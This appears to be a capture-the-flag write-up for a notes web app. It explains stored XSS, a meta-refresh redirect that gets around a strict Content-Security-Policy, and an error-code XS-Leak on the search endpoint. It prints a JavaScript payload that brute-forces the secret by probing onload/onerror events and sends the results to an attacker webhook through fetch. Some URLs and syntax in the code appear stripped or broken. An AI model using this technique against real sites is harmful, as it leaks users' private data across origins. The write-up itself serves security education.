Yet another notepad web challenge. Mind getting the flag?
Download file

19 solves

This challenge was a classic notes site. It was an express.js app where we had the ability to:

  • login/register
  • create new notes
  • visit notes
  • "report" a note and get an admin user to go visit it
  • search for a note containing a substring

The flag was located in one of the admin's notes, with the format DrgnS{...}

Step 1: XSS

The first thing we discovered was that it was trivial to get stored XSS in a note – it did not sanitize HTML and you got XSS for free when creating a new note.

However, the page had a very strict Content-Security-Policy:

default-src 'none';
style-src 'self';
img-src 'self';
form-action 'self';
base-uri 'none';

This prevented us from inserting javascript code (due to default-src 'none'), so we had to find another way to obtain the admin's flag note and exfiltrate it.

Step 2: Redirect to malicious site

We realized that via injection of a meta refresh tag, we could redirect the admin user to our own site!

<meta http-equiv="refresh" content="0;url=" />

Step 3: Error-Code XS-Leak

We then noticed (from reading through source code) that the site was vulnerable to a classic Error-Code based XS-Leak!

An XS-Leak is class of attacks that abuse web side-channels to exfiltrate information about a user. In this case, the side-channel we abuse is HTTP Error events.

Normally, we are not supposed to be able to get any information by making a request to a third-party site from our malicious site, because of SOP (Same Origin Policy). Browsers will refuse to let websites observe the HTTP response.

However, browsers will actually let us observe whether the request resulted in an error code or not!

In this case, the search endpoint returned an HTTP 200 when notes were found that matched the queryString, and returned an HTTP 404 when no notes were found.

E.g. /?q=DrgnS would return an HTTP 200, and /?q=blablabla would return a 404.

By abusing this fact, we can extract the flag by brute-forcing it character-by-character!

  • Try every possible query for our first unknown character: e.g.  /?q=DrgnS{A, /?q=DrgnS{B, /?q=DrgnS{C until we observe an HTTP 200
  • Now, we know the first character, so try the same thing for the next character

Here is our final payload implementing this exploit:

  async function sleep(ms) {
    return new Promise((resolve) => setTimeout(resolve, ms));

  async function probeError(url) {
    return await new Promise((resolve, reject) => {
      const script = document.createElement("script");
      script.src = url;
      // onload is triggered when we get an HTTP success code (e.g. 200)
      script.onload = resolve;
      // onerror is triggered when we get an HTTP error code (e.g. 404)
      script.onerror = reject;


  async function search(query) {
    try {
      await probeError(
      return true;
    } catch (e) {
      return false;

  async function exploit() {
    let flag = "DrgnS{";
    let query;
    // keep going until we hit the end of the flag
    while (flag.charAt(flag.length - 1) !== "}") {
      for (let c of "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ") {
        query = flag + c;
        if (await search(query)) {
          // success! we got an http 200
          console.log(`YES - ${query}`);
          flag = query;
        } else {
          // we got an http 404
          console.log(`NO - ${query}`);
      try {
        // send whatever characters we have obtained so far to our webhook
        await fetch(`${flag}`);
      } catch(e) {}


For more info about XS-Leaks, check out the fantastic wiki!

Error Events
When a webpage issues a request to a server (e.g. fetch, HTML tags), the server receives and processes this request. When received, the server decides whether the request should succeed (e.g. 200) or fail (e.g. 404) based on the provided context. When a response has an error status, an error event i…